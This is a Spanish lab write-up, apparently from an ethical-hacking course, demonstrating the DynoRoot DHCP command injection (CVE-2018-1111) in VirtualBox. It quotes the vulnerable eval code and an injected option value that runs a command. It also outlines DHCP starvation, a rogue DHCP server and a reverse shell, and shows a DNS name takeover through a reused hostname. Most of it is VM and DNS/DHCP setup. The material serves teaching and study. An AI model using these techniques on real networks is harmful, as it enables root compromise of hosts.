
Explotación de DHCP con DynoRoot (CVE-2018-1111)
Este proyecto demuestra una vulnerabilidad conocida de máquinas Fedora y RedHat relacionada con una implementación insegura del lado del cliente del Protocolo de Configuración Dinámica de Host (DHCP). Un servidor DHCP malicioso puede crear ofertas DHCP con una carga maliciosa que se ejecuta en una shell root en la máquina víctima.
La vulnerabilidad es atribuida a Felix Wilhelm y se conoce como CVE-2018-1111 o "DynoRoot".
El Protocolo de Configuración Dinámica de Host (DHCP) es un componente a menudo pasado por alto en sistemas en red. Su función es permitir la configuración dinámica de las máquinas host que se conectan a una red existente. El caso de uso más común es asignar una dirección IP a los hosts recién conectados e informarles de las rutas existentes para acceder a otras redes. Se pueden especificar opciones adicionales, por ejemplo, la dirección de un servidor DNS local y la zona que sirve, o la ubicación de un archivo de arranque.
Analicemos el protocolo de 4 vías que se sigue cuando un nuevo host quiere unirse a una red después de conectarse físicamente a ella mediante una conexión ethernet o inalámbrica.
DISCOVER a la red.OFFER, que contiene: dirección IP, máscara de subred, dirección del router y otras opciones.REQUEST, solicitando oficialmente tomar en arriendo la dirección IP que se ofreció.ACK, indicando que el cliente tiene permitido usar la dirección IP durante un período de tiempo específico.Después del intercambio inicial, el cliente puede renovar el arrendamiento simplemente enviando otro mensaje REQUEST. El servidor verificará la existencia de un arrendamiento con la dirección IP y MAC del cliente y responderá con un ACK.
Algunos aspectos a tener en cuenta:
DISCOVER y solicitar inmediatamente una dirección con REQUEST. Esto es común en escenarios en los que el cliente ya se conectó a la red anteriormente y recuerda la dirección anterior. En este caso, el servidor verifica la disponibilidad de la dirección y responde con un ACK, o, en caso de que el arrendamiento no esté disponible, envía un NACK.RELEASE para informar al servidor que la dirección ahora está disponible. Sin embargo, esto no es obligatorio según el protocolo y el servidor recolectará periódicamente los arrendamientos vencidos.La vulnerabilidad se encuentra en /etc/NetworkManager/dispatcher.d/11-dhclient, que es ejecutado por el cliente para analizar y establecer las opciones recibidas mediante DHCP.
declare es un comando interno de bash que, cuando se usa sin argumentos, lista todas las variables declaradas.grep filtra todas las variables relacionadas con DHCP.while read opt itera sobre las variables DHCP una por una, realiza algún análisis e imprime una línea como export new_optionname=value para cada opción.eval.```bash
eval "$(
declare | LC_ALL=C grep '^DHCP4_[A-Z_]=' | while read opt; do
optname=${opt%%=}
optname=${optname,,}
optname=new_${optname#dhcp4_}
optvalue=${opt#*=}
echo "export $optname=$optvalue"
done
)"<!-- omit in toc -->
#### Operación normal
En situaciones normales, el código funcionaría perfectamente y analizaría las nuevas opciones DHCP.
Como ejemplo, el siguiente código:```bash
DHCP4_OPTION_ONE=42
DHCP4_OPTION_TWO="bla bla"
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
optname=${opt%%=*}
optname=${optname,,}
optname=new_${optname#dhcp4_}
optvalue=${opt#*=}
echo "export $optname=$optvalue"
done
Imprimirá estas dos sentencias export para ser evaluadas por eval:```bash
export new_option_one=42
export new_option_two='bla bla'
<!-- omit in toc -->
#### Inyección de código
Sin embargo, debido al inseguro `eval`, es posible inyectar comandos de bash:```bash
DHCP4_OPTION_ONE="x'& echo Hacked! #"
DHCP4_OPTION_TWO='bla bla'
eval "$(
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
optname=${opt%%=*}
optname=${optname,,}
optname=new_${optname#dhcp4_}
optvalue=${opt#*=}
echo "export $optname=$optvalue"
done
)"
Resultará en la evaluación de echo Hacked!:```text
[1] 1541
Hacked!
### Fuentes
- [Entrada de la base de exploit](https://www.exploit-db.com/exploits/44890)
- [Anuncio de RedHat](https://access.redhat.com/security/vulnerabilities/3442151)
- [Publicación en el blog de Tenable](https://www.tenable.com/blog/advisory-red-hat-dhcp-client-command-injection-trouble)
- [Repositorio de GitHub](https://github.com/kkirsche/CVE-2018-1111)
- [Anuncio en Twitter](https://twitter.com/_fel1x/status/996388421273882626?lang=en)
## Configuración
La configuración mínima para demostrar el exploit consiste en solo dos máquinas: la máquina `victim` ejecutando Fedora 28, y una máquina `attacker`. En esta configuración, el atacante simplemente necesita ofrecer un servicio DHCP y esperar la conexión de la víctima.
<figure style="text-align:center">
<img src="https://raw.githubusercontent.com/baldassarrefe/fep3370-advanced-ethical-hacking/HEAD/media/network_simple.svg" style="max-width:400px;" width="90%"/>
<figcaption>Configuración mínima del exploit.</figcaption>
</figure>
Una configuración más realista colocaría las máquinas en una red privada, donde una tercera máquina, la `gateway`, está configurada como el servidor DHCP benigno y como la puerta de enlace a Internet exterior. En esta configuración, el atacante debe evitar que la víctima se conecte al servidor DHCP legítimo antes de poder realizar el ataque.
<figure style="text-align:center">
<img src="https://raw.githubusercontent.com/baldassarrefe/fep3370-advanced-ethical-hacking/HEAD/media/network.svg" style="max-width:800px;" width="90%"/>
<figcaption>Configuración de red privada con una máquina gateway que actúa como DHCP, enrutador y firewall.</figcaption>
</figure>
En las siguientes secciones:
1. Instalar VirtualBox
2. Crear 3 máquinas virtuales: `gateway`, `attacker` y `victim`
3. Instalar el SO en las máquinas (usuarios, red y acceso SSH)
4. Configurar la máquina gateway para alojar el servidor DHCP benigno para la red virtual interna proporcionada por VirtualBox
5. Instalar las dependencias de Python para el ataque
Para [ir directamente a la acción](#performing-the-attack) y omitir la configuración manual, es posible ejecutar el script [`setup.sh`](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/ansible/setup.sh) en la carpeta `ansible`, que (casi) automáticamente creará las máquinas virtuales y las configurará usando [Ansible Roles](https://docs.ansible.com/ansible/latest/user_guide/playbooks_reuse_roles.html). Solo asegúrate de que Ansible y VirtualBox estén instalados antes de lanzar `setup.sh`.
### Preliminares
#### Instalar VirtualBox
Las siguientes instrucciones son de la [guía de instalación oficial](https://www.virtualbox.org/wiki/Downloads).
Agrega esta línea a `/etc/apt/sources.list`:```bash
deb [arch=amd64] 'https://download.virtualbox.org/virtualbox/debian' bionic contrib
Instala virtualbox y el pack de extensiones:```bash wget -q 'https://www.virtualbox.org/download/oracle_vbox_2016.asc' -O- | sudo apt-key add - wget -q 'https://www.virtualbox.org/download/oracle_vbox.asc' -O- | sudo apt-key add -
sudo apt-get update sudo apt-get -y install gcc make linux-headers-$(uname -r) dkms virtualbox-6.1
wget 'https://download.virtualbox.org/virtualbox/6.1.16/Oracle_VM_VirtualBox_Extension_Pack-6.1.16.vbox-extpack' sudo VBoxManage extpack install Oracle_VM_VirtualBox_Extension_Pack-6.1.16.vbox-extpack VBoxManage list extpacks
#### Instalar Ansible (opcional)
Desde la [guía oficial para Ubuntu](https://docs.ansible.com/ansible/latest/installation_guide/intro_installation.html#installing-ansible-on-ubuntu):```bash
sudo apt update
sudo apt install software-properties-common
sudo apt-add-repository --yes --update ppa:ansible/ansible
sudo apt install ansible
En esta sección crearemos las credenciales SSH que usaremos para iniciar sesión en las máquinas. Agregar las entradas de host en el archivo de configuración SSH nos ahorrará algo de escritura más adelante.
Crea una clave SSH sin frase de contraseña:```bash ssh-keygen -f ~/.ssh/ethhack -t ed25519 -N ''
Añade estas entradas a la configuración SSH (`~/.ssh/config`):```
Host gateway.ethhack
Port 6001
User gateway
Host victim.ethhack
Port 6002
User victim
Host attacker.ethhack
Port 6003
User attacker
Host *.ethhack
LogLevel ERROR
HostName localhost
IdentityFile ~/.ssh/ethhack
StrictHostKeyChecking no
UserKnownHostsFile /dev/null
Esta máquina aloja el servidor DHCP benigno que gestiona un conjunto de direcciones en la red interna. Está basada en Ubuntu Server 18.04 con el paquete ISC DHCP.
En un escenario real, esta máquina también actuaría como enrutador (iptables) y cortafuegos (UFW Uncomplicated Firewall) entre las máquinas de la red y el mundo exterior. Posiblemente, también alojaría un servidor DNS para algunos servicios internos (BIND9).
Crearemos la máquina virtual utilizando las herramientas de línea de comandos de VirtualBox, para que el proceso pueda repetirse lo más rápido posible. De lo contrario, es posible crear la MV a través de la interfaz gráfica ingresando la misma configuración.
Descargue la ISO de Ubuntu:```bash wget 'https://ftp.lysator.liu.se/ubuntu-releases/18.04.5/ubuntu-18.04.5-live-server-amd64.iso' md5sum --check << EOF fcd77cd8aa585da4061655045f3f0511 ubuntu-18.04.5-live-server-amd64.iso EOF
Crear la VM:
- Interfaz de red 1 conectada a la red NAT predeterminada de VirtualBox
- Interfaz de red 2 conectada a la red interna `intnet`\
(la "d" en la dirección MAC significa DHCP)
- Reenvío de puertos desde un puerto `600x` en el host al puerto SSH en la máquina virtual```bash
VM_NAME="gateway"
VRDE_PORT=5001
SSH_PORT=6001
VM_MAC='08:00:dd:dd:dd:dd'
VBoxManage createvm --name "${VM_NAME}" --ostype Ubuntu_64 --register
VBoxManage modifyvm "${VM_NAME}" \
--memory 2048 \
--acpi on \
--boot1 dvd \
--nic1 nat \
--nic2 'intnet' \
--macaddress2 "${VM_MAC//:/}" \
--natpf1 "guestssh,tcp,,${SSH_PORT},,22" \
--audio none
VBoxManage createhd disk --filename "${VM_NAME}.vdi" --size 10000
VBoxManage storagectl "${VM_NAME}" --name "IDE Controller" --add ide --controller PIIX4
VBoxManage storageattach "${VM_NAME}" \
--storagectl "IDE Controller" \
--port 0 \
--device 0 \
--type hdd \
--medium "${VM_NAME}.vdi"
VBoxManage storageattach "${VM_NAME}" \
--storagectl "IDE Controller" \
--port 0 \
--device 1 \
--type dvddrive \
--medium "$(realpath ubuntu-18.04.5-live-server-amd64.iso)"
Si algo sale mal:```bash VBoxManage unregistervm "${VM_NAME}" --delete
#### Instalación del SO
La primera vez que iniciamos la máquina necesitamos un escritorio virtual para seguir los pasos de instalación. Podemos
iniciar la máquina virtual en modo headless y usar `rdesktop-vrdp` para conectarnos. Si VirtualBox se
está ejecutando en una computadora de escritorio, podría ser más fácil iniciar la máquina virtual desde la GUI, pero
este método funcionará incluso con un host remoto de VirtualBox.```bash
VBoxHeadless --startvm "${VM_NAME}" --vrde on --vrdeproperty "TCP/Ports=${VRDE_PORT}" &
sleep 5
rdesktop-vrdp "localhost:${VRDE_PORT}"
kill %%
Parámetros de configuración para el instalador:
gatewaygatewaygat192.168.0.1 en enp0s8

Después de la instalación, apague, retire el iso y deshabilite VRDE:```bash
VBoxManage storageattach "${VM_NAME}"
--storagectl "IDE Controller"
--port 0
--device 1
--type dvddrive
--medium "none"
VBoxManage modifyvm "${VM_NAME}" --vrde off
#### Inicio de sesión SSH
Para facilitar el acceso, podemos instalar la clave SSH creada anteriormente en la máquina `gateway`:```bash
VBoxHeadless --startvm "${VM_NAME}" &
sleep 5
ssh-copy-id -i ~/.ssh/ethhack.pub gateway.ethhack
ssh gateway.ethhack
sudo systemctl restart isc-dhcp-server
Los eventos DHCP se registran en `/var/log/syslog`.
Podemos resaltar entradas relevantes con:```bash
tail -f /var/log/syslog | grep --line-buffered 'dhcpd' | grep -E 'dhcpd|attacker|fedora|'
Si dejamos la gateway encendida durante la instalación de las otras máquinas, recogerán la configuración DHCP automáticamente.
sudo apt-get install -y bind9 bind9utils bind9-doc sudo sed 's/OPTIONS="-u bind"/OPTIONS="-u bind -4"/' -i /etc/default/bind9 sudo systemctl restart bind9
Editar `/etc/bind/named.conf.options`:```bash
echo '
options {
directory "/var/cache/bind";
allow-query { any; };
recursion no;
listen-on { 192.168.0.53; };
};
' | sudo tee /etc/bind/named.conf.options > /dev/null
Editar /etc/bind/named.conf.local:```bash
echo '
zone "100waystocook.pizza" { type master; file "/etc/bind/zones/db.100waystocook.pizza"; };
zone "0.168.192.in-addr.arpa" { type master; file "/etc/bind/zones/db.192.168.0"; }; ' | sudo tee /etc/bind/named.conf.local > /dev/null
Crea archivos de zona directa e inversa en una carpeta que sea de solo lectura para bind:```bash
sudo install -o root -g bind -m 755 -d /etc/bind/zones
echo '
$TTL 86400 ; Clients will cache DNS responses for 1 day
@ IN SOA dns.100waystocook.pizza. admin.100waystocook.pizza. (
3 ; Serial
604800 ; Refresh (1 week)
86400 ; Retry (1 day)
2419200 ; Expire (4 weeks)
604800 ; Negative Cache TTL (4 weeks)
) ; The values above are only relevant for secondary DNS servers
; name servers
@ IN NS dns.100waystocook.pizza.
; 192.168.0.0/24
dns IN A 192.168.0.53
server IN A 192.168.0.1
www IN CNAME server
mongo IN CNAME server
' | sudo tee /etc/bind/zones/db.100waystocook.pizza > /dev/null
echo '
$TTL 604800
@ IN SOA dns.100waystocook.pizza. admin.100waystocook.pizza. (
4 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
; name servers
@ IN NS dns.100waystocook.pizza.
; PTR Records
1 IN PTR server.100waystocook.pizza. ; 192.168.0.1
53 IN PTR dns.100waystocook.pizza. ; 192.168.0.53
' | sudo tee /etc/bind/zones/db.192.168.0 > /dev/null
Ejecutar comprobaciones y reiniciar:```bash sudo named-checkconf sudo named-checkzone 100waystocook.pizza /etc/bind/zones/db.100waystocook.pizza sudo named-checkzone 0.168.192.in-addr.arpa /etc/bind/zones/db.192.168.0
sudo systemctl restart bind9
Comprueba que funciona```bash
dig www.100waystocook.pizza
nslookup www.100waystocook.pizza
systemd-resolve www.100waystocook.pizza
Crear clave simétrica para actualizaciones DNS:```bash KEY_NAME='ddns-key.100waystocook.pizza' KEY_FILE_BIND="${KEY_NAME}.key"
KEY_FILE="$(dnssec-keygen -a HMAC-SHA512 -b 512 -r /dev/urandom -n USER "${KEY_NAME}")" KEY_FILE_KEY="${KEY_FILE}.key" KEY_FILE_PRI="${KEY_FILE}.private" unset KEY_FILE
KEY_SECRET="$(cut -f7- -d ' ' "${KEY_FILE_KEY}")"
cat > "${KEY_FILE_BIND}" << EOF key "${KEY_NAME}" { algorithm HMAC-SHA512; secret "${KEY_SECRET}"; }; EOF
sudo install --owner root --group bind --mode 0640 "${KEY_FILE_BIND}" /etc/bind/ rm "${KEY_FILE_BIND}"
Incluya la clave en `/etc/bind/named.conf.local`:```bash
echo "
include '/etc/bind/${KEY_FILE_BIND}';
# Forward zone for 100waystocook.pizza
zone '100waystocook.pizza' {
type master;
file '/var/lib/bind/zones-dyn/db.100waystocook.pizza';
notify no;
# grant whoever owns the key the permission to update
# the A and TXT records for server.100waystocook.pizza.
update-policy {
grant ${KEY_NAME} name server.100waystocook.pizza. A TXT;
};
};
# Reverse zone for 192.168.0.0/24
zone '0.168.192.in-addr.arpa' {
type master;
file '/var/lib/bind/zones-dyn/db.192.168.0';
notify no;
# grant whoever owns the key the permission to update
# the PTR record for IPs in within the reverse zone
update-policy {
grant ${KEY_NAME} zonesub PTR;
};
};
" | tr \' \" | sudo tee /etc/bind/named.conf.local > /dev/null
Copie el archivo de zona original a una carpeta que sea escribible por bind, elimine el registro server:```bash
sudo install -o root -g bind -m 775 -d /var/lib/bind/zones-dyn
sudo install -o root -g bind -m 664 /etc/bind/zones/db.100waystocook.pizza /var/lib/bind/zones-dyn sudo sed '/^server/d' -i /var/lib/bind/zones-dyn/db.100waystocook.pizza
sudo install -o root -g bind -m 664 /etc/bind/zones/db.192.168.0 /var/lib/bind/zones-dyn sudo sed '/server.100waystocook.pizza/d' -i /var/lib/bind/zones-dyn/db.192.168.0
Ejecutar comprobaciones y reiniciar:```bash
sudo named-checkconf
sudo named-checkzone 100waystocook.pizza /var/lib/bind/zones-dyn/db.100waystocook.pizza
sudo named-checkzone 0.168.192.in-addr.arpa /var/lib/bind/zones-dyn/db.192.168.0
sudo systemctl restart bind9
Verifique que funcione actualizando manualmente la entrada DNS.
Mientras realiza lo siguiente, vigile tail -f /var/log/syslog para detectar errores.
Al final, elimine las nuevas entradas; de lo contrario, las actualizaciones DHCP fallarán:```bash
TTL=60
NEW_NAME='server'
NEW_IP='99'
systemd-resolve "${NEW_NAME}.100waystocook.pizza"
nsupdate -d -k "${KEY_FILE_PRI}" << EOF server dns.100waystocook.pizza.
zone 100waystocook.pizza. update add ${NEW_NAME}.100waystocook.pizza. ${TTL} IN A 192.168.0.${NEW_IP}
zone 0.168.192.in-addr.arpa update add ${NEW_IP}.0.168.192.in-addr.arpa ${TTL} IN PTR ${NEW_NAME}.100waystocook.pizza.
send EOF
sudo systemd-resolve --flush-caches systemd-resolve "${NEW_NAME}.100waystocook.pizza" dig +short -x "192.168.0.${NEW_IP}"
nsupdate -d -k "${KEY_FILE_PRI}" << EOF server dns.100waystocook.pizza.
zone 100waystocook.pizza. update delete ${NEW_NAME}.100waystocook.pizza. IN A
zone 0.168.192.in-addr.arpa update delete ${NEW_IP}.0.168.192.in-addr.arpa IN PTR
send EOF
##### Configuración de DHCP
Configure DHCP para actualizar automáticamente las entradas de DNS:```bash
KEY_FILE_DHCP="${KEY_NAME}.key"
# Note: no " in key file
cat > "${KEY_FILE_DHCP}" << EOF
key ${KEY_NAME} {
algorithm HMAC-SHA512;
secret ${KEY_SECRET};
};
EOF
sudo install --owner root --group root --mode 0640 "${KEY_FILE_DHCP}" /etc/dhcp/ddns-keys/
rm "${KEY_FILE_DHCP}"
echo "
authoritative;
# https://kb.isc.org/docs/isc-dhcp-44-manual-pages-dhcpdconf
ddns-updates on;
ddns-update-style interim;
ddns-domainname '100waystocook.pizza.';
ddns-rev-domainname '0.168.192.in-addr.arpa.';
update-conflict-detection on;
ddns-guard-id-must-match;
ignore client-updates;
default-lease-time 120;
max-lease-time 7200;
include '/etc/dhcp/ddns-keys/${KEY_FILE_DHCP}';
zone 100waystocook.pizza. {
primary dns.100waystocook.pizza. ;
key ${KEY_NAME} ;
}
zone 0.168.192.in-addr.arpa. {
primary dns.100waystocook.pizza. ;
key ${KEY_NAME} ;
}
subnet 192.168.0.0 netmask 255.255.255.0 {
range 192.168.0.1 192.168.0.20;
option domain-name-servers 192.168.0.53;
option domain-name '100waystocook.pizza.';
}
" | tr \' \" | sudo tee /etc/dhcp/dhcpd.conf > /dev/null
sudo systemctl restart isc-dhcp-server
La configuración DHCP se puede verificar con sudo dhcpd -t.
Cuando se inicia una máquina con nombre de host server, /var/log/syslog debería verse así:```
dhcpd[1366]: DHCPDISCOVER from 08:00:27:ca:ff:df via enp0s8 dhcpd[1366]: DHCPOFFER on 192.168.0.3 to 08:00:27:ca:ff:df (server) via enp0s8 dhcpd[1366]: DHCPREQUEST for 192.168.0.3 (192.168.0.53) from 08:00:27:ca:ff:df (server) via enp0s8 dhcpd[1366]: DHCPACK on 192.168.0.3 to 08:00:27:ca:ff:df (server) via enp0s8
named[1283]: client @0x7fef30041e40 192.168.0.53#53293/key ddns-key.100waystocook.pizza: updating zone '100waystocook.pizza/IN': adding an RR at 'server.100waystocook.pizza' A 192.168.0.3 named[1283]: client @0x7fef30041e40 192.168.0.53#53293/key ddns-key.100waystocook.pizza: updating zone '100waystocook.pizza/IN': adding an RR at 'server.100waystocook.pizza' TXT "31c8ab6283bcc3f723245ceab58eb496f0" dhcpd[1366]: Added new forward map from server.100waystocook.pizza. to 192.168.0.3 named[1283]: client @0x7fef30057320 192.168.0.53#36001/key ddns-key.100waystocook.pizza: updating zone '0.168.192.in-addr.arpa/IN': deleting rrset at '3.0.168.192.0.168.192.in-addr.arpa' PTR named[1283]: client @0x7fef30057320 192.168.0.53#36001/key ddns-key.100waystocook.pizza: updating zone '0.168.192.in-addr.arpa/IN': adding an RR at '3.0.168.192.0.168.192.in-addr.arpa' PTR server.100waystocook.pizza. dhcpd[1366]: Added reverse map from 3.0.168.192.0.168.192.in-addr.arpa. to server.100waystocook.pizza.
dhcpd[1366]: DHCPREQUEST for 192.168.0.3 from 08:00:27:ca:ff:df (server) via enp0s8 dhcpd[1366]: DHCPACK on 192.168.0.3 to 08:00:27:ca:ff:df (server) via enp0s8
Cuando otra máquina con `fedora` como nombre de host se inicia, obtiene una IP pero no se agrega al DNS debido a la `update-policy`:```
dhcpd[1366]: DHCPDISCOVER from 08:00:27:4e:d0:d2 via enp0s8
dhcpd[1366]: DHCPOFFER on 192.168.0.6 to 08:00:27:4e:d0:d2 (fedora) via enp0s8
dhcpd[1366]: DHCPREQUEST for 192.168.0.6 (192.168.0.53) from 08:00:27:4e:d0:d2 (fedora) via enp0s8
dhcpd[1366]: DHCPACK on 192.168.0.6 to 08:00:27:4e:d0:d2 (fedora) via enp0s8
named[1283]: client @0x7fef30041e40 192.168.0.53#42609/key ddns-key.100waystocook.pizza:
updating zone '100waystocook.pizza/IN':
update failed: rejected by secure update (REFUSED)
dhcpd[1366]: Unable to add forward map from fedora.100waystocook.pizza. to 192.168.0.6: REFUSED
El problema es que DHCP registrará cualquier máquina con el nombre de host server en el DNS, siempre que sea la primera. Si un atacante intenta conectarse a través de DHCP con un nombre de host server duplicado, DHCP lo notará y se negará a actualizar el DNS.```
dhcpd[1366]: DHCPDISCOVER from 08:00:27:4e:d0:d2 via enp0s8 dhcpd[1366]: DHCPOFFER on 192.168.0.2 to 08:00:27:4e:d0:d2 (server) via enp0s8 dhcpd[1366]: DHCPREQUEST for 192.168.0.2 (192.168.0.53) from 08:00:27:4e:d0:d2 (server) via enp0s8 dhcpd[1366]: DHCPACK on 192.168.0.2 to 08:00:27:4e:d0:d2 (server) via enp0s8
named[1283]: client @0x7fef30041e40 192.168.0.53#34663/key ddns-key.100waystocook.pizza: updating zone '100waystocook.pizza/IN': update unsuccessful: server.100waystocook.pizza: 'name not in use' prerequisite not satisfied (YXDOMAIN) named[1283]: client @0x7fef30057320 192.168.0.53#39143/key ddns-key.100waystocook.pizza: updating zone '100waystocook.pizza/IN': update unsuccessful: server.100waystocook.pizza/TXT: 'RRset exists (value dependent)' prerequisite not satisfied (NXRRSET) dhcpd[1366]: Forward map from server.100waystocook.pizza. to 192.168.0.2 FAILED: Has an address record but no DHCID, not mine.
Pero si el `server` legítimo se cae por algún tiempo, su concesión se libera y los registros se eliminan.
Entonces un atacante puede simplemente colarse proporcionando `server` como nombre de host durante el intercambio inicial de DHCP.```
# DHCP removes DNS records
named[1283]: client @0x7fef30041e40 192.168.0.53#43939/key ddns-key.100waystocook.pizza:
updating zone '100waystocook.pizza/IN': deleting an RR at server.100waystocook.pizza A
dhcpd[1366]: Removed forward map from server.100waystocook.pizza. to 192.168.0.3
named[1283]: client @0x7fef30057320 192.168.0.53#46231/key ddns-key.100waystocook.pizza:
updating zone '100waystocook.pizza/IN': deleting an RR at server.100waystocook.pizza TXT
named[1283]: client @0x7fef30041e40 192.168.0.53#54069/key ddns-key.100waystocook.pizza:
updating zone '0.168.192.in-addr.arpa/IN': deleting rrset at '3.0.168.192.0.168.192.in-addr.arpa' PTR
dhcpd[1366]: Removed reverse map on 3.0.168.192.0.168.192.in-addr.arpa.
# Attacker gets and IP and a DNS entry
dhcpd[1366]: DHCPDISCOVER from 08:00:27:4e:d0:d2 via enp0s8
dhcpd[1366]: DHCPOFFER on 192.168.0.2 to 08:00:27:4e:d0:d2 (server) via enp0s8
dhcpd[1366]: DHCPREQUEST for 192.168.0.2 (192.168.0.53) from 08:00:27:4e:d0:d2 (server) via enp0s8
dhcpd[1366]: DHCPACK on 192.168.0.2 to 08:00:27:4e:d0:d2 (server) via enp0s8
named[1283]: client @0x7fef30057320 192.168.0.53#56317/key ddns-key.100waystocook.pizza:
updating zone '100waystocook.pizza/IN':
adding an RR at 'server.100waystocook.pizza' A 192.168.0.2
named[1283]: client @0x7fef30057320 192.168.0.53#56317/key ddns-key.100waystocook.pizza:
updating zone '100waystocook.pizza/IN':
adding an RR at 'server.100waystocook.pizza' TXT "319dc6047844ea45fdc56373d08413401e"
dhcpd[1366]: Added new forward map from server.100waystocook.pizza. to 192.168.0.2
named[1283]: client @0x7fef30041e40 192.168.0.53#51689/key ddns-key.100waystocook.pizza:
updating zone '0.168.192.in-addr.arpa/IN':
deleting rrset at '2.0.168.192.0.168.192.in-addr.arpa' PTR
named[1283]: client @0x7fef30041e40 192.168.0.53#51689/key ddns-key.100waystocook.pizza:
updating zone '0.168.192.in-addr.arpa/IN':
adding an RR at '2.0.168.192.0.168.192.in-addr.arpa' PTR server.100waystocook.pizza.
dhcpd[1366]: Added reverse map from 2.0.168.192.0.168.192.in-addr.arpa. to server.100waystocook.pizza.
-->
apt-get install -y build-essential autoconf git clone https://github.com/nmap/nmap pushd nmap git checkout 0de714 ./configure make make install popd
nmap --script broadcast-dhcp-discover --script-args mac=random,timeout=2 -e enp0s8 nmap --script dhcp-discover --script-args dhcptype=DHCPRELEASE,mac=08:00:27:EF:5F:BA -e enp0s8
-->
[Entorno Conda](https://docs.conda.io/en/latest/) con Scapy:```bash
sudo su
cd
wget 'https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64.sh'
chmod u+x Miniconda3-latest-Linux-x86_64.sh
./Miniconda3-latest-Linux-x86_64.sh -b -p ./miniconda
./miniconda/bin/conda init
source .bashrc
conda create -y -n dynoroot python=3.6
conda activate dynoroot
pip install 'scapy[complete]'
A continuación, obtendremos los dos scripts de ataque de GitHub:
La máquina víctima no está configurada de ninguna manera en particular, es solo una instalación de Fedora 28 con un NetworkManager vulnerable.
Descargue la ISO de Fedora:```bash wget 'https://archives.fedoraproject.org/pub/archive/fedora/linux/releases/28/Server/x86_64/iso/Fedora-Server-dvd-x86_64-28-1.1.iso' md5sum --check << EOF 18740b445159c54d10bd887650e8d1d7 Fedora-Server-dvd-x86_64-28-1.1.iso EOF
Crear la VM:
- Interfaz de red 1 conectada a la red NAT predeterminada de VirtualBox
- Interfaz de red 2 conectada a la red interna `intnet`\
(la "f" en la dirección MAC significa Fedora)
- Redirección de puertos desde un puerto `600x` en el anfitrión al puerto SSH en la máquina virtual```bash
VM_NAME="fedora"
VRDE_PORT=5003
SSH_PORT=6003
VM_MAC='08:00:ff:ff:ff:ff'
VBoxManage createvm --name "${VM_NAME}" --ostype Fedora_64 --register
VBoxManage modifyvm "${VM_NAME}" \
--memory 2048 \
--acpi on \
--boot1 dvd \
--nic1 nat \
--nic2 'intnet' \
--macaddress2 "${VM_MAC//:/}" \
--natpf1 "guestssh,tcp,,${SSH_PORT},,22" \
--audio none
VBoxManage createhd disk --filename "${VM_NAME}.vdi" --size 10000
VBoxManage storagectl "${VM_NAME}" --name "IDE Controller" --add ide --controller PIIX4
VBoxManage storageattach "${VM_NAME}" \
--storagectl "IDE Controller" \
--port 0 \
--device 0 \
--type hdd \
--medium "${VM_NAME}.vdi"
VBoxManage storageattach "${VM_NAME}" \
--storagectl "IDE Controller" \
--port 0 \
--device 1 \
--type dvddrive \
--medium "$(realpath Fedora-Server-dvd-x86_64-28-1.1.iso)"
Si algo sale mal:```bash VBoxManage unregistervm "${VM_NAME}" --delete
#### Instalación del SO
La primera vez que iniciamos la máquina necesitamos un escritorio virtual para seguir los pasos de instalación. Podemos iniciar la máquina virtual en modo headless y usar `rdesktop-vrdp` para conectarnos. Si VirtualBox se ejecuta en un ordenador de escritorio, podría ser más fácil iniciar la máquina virtual desde la GUI, pero este método funcionará incluso con un host VirtualBox remoto.```bash
VBoxHeadless --startvm "${VM_NAME}" --vrde on --vrdeproperty "TCP/Ports=${VRDE_PORT}" &
sleep 12 # Fedora is slow...
rdesktop-vrdp "localhost:${VRDE_PORT}"
kill %%
Instalar configuración:
fedoravictimvicenp0s8 para usar DHCP

Después de la instalación, apague, retire el iso y deshabilite VRDE:```bash
VBoxManage storageattach "${VM_NAME}"
--storagectl "IDE Controller"
--port 0
--device 1
--type dvddrive
--medium "none"
VBoxManage modifyvm "${VM_NAME}" --vrde off
#### Inicio de sesión SSH
Para facilitar el acceso, podemos instalar la clave SSH creada anteriormente en la máquina `victim`:```bash
VBoxHeadless --startvm "${VM_NAME}" &
sleep 5
ssh-copy-id -i ~/.ssh/ethhack.pub victim.ethhack
ssh victim.ethhack
Verifique que la interfaz enp0s8 está usando DHCP:```bash
sudo nmcli device show enp0s8
Si no, se puede configurar usando:```
sudo nmcli connection down enp0s8
sudo nmcli connection modify enp0s8 IPv4.method auto
sudo nmcli connection modify enp0s8 IPv4.address ''
sudo nmcli connection up enp0s8
Para revertir a una IP estática:```bash sudo nmcli connection down enp0s8 sudo nmcli connection modify enp0s8 IPv4.address 192.168.0.99/24 sudo nmcli connection modify enp0s8 IPv4.method manual sudo nmcli connection up enp0s8
## Realizando el ataque
Los siguientes pasos, ejecutados en orden, mostrarán el ataque DHCP.
Sugerimos configurar un multiplexor de terminal como [Byobu](https://www.byobu.org/) para facilitar
saltar de una máquina a otra.
Antes del ataque:
1. Iniciar las 3 máquinas virtuales, que se conectarán automáticamente al DHCP benigno
2. Desconectar la máquina Fedora y limpiar los archivos de concesión DHCP para simular una conexión nueva
3. Reiniciar el servidor DHCP para simular una conexión nueva
El ataque en sí consiste en:
1. Lanzar una serie de solicitudes DHCP REQUEST falsas desde el atacante para _agotar_ el servidor DHCP benigno
2. Iniciar el servidor DHCP malicioso que enviará las OFFERs maliciosas a la víctima
3. Reconectar la máquina Fedora y esperar a que NetworkManager emita un DHCP DISCOVER
4. Esperar a que la shell inversa se conecte
Si algo sale mal, detenga todos los servicios relevantes y comience de nuevo.
### Puerta de enlace
Limpiar las concesiones DHCP antiguas y la tabla ARP, luego reiniciar el DHCP:```bash
sudo systemctl stop isc-dhcp-server
sudo rm /var/lib/dhcp/dhcpd.leases*
sudo ip link set arp off dev enp0s8
sudo ip link set arp on dev enp0s8
sudo systemctl start isc-dhcp-server
tail -f /var/log/syslog | grep --line-buffered 'dhcpd' | grep -E 'dhcpd|attacker|fedora|'
Obtén una nueva concesión DHCP:``` sudo dhclient -r enp0s8 sudo dhclient -v enp0s8
Grabar tráfico DHCP usando `tcpdump`:```bash
sudo ip link set enp0s8 promisc on
sudo tcpdump -i enp0s8 -w attack.pcap 'arp or icmp or port 67 or port 68'
Alternativamente, VirtualBox también puede grabar tráfico:```bash VBoxManage modifyvm "attacker" --nictrace2 on --nictracefile2 capture.pcap VBoxManage modifyvm "attacker" --nictrace2 off
Iniciar DHCP starvation (ejecutar como `root`):```
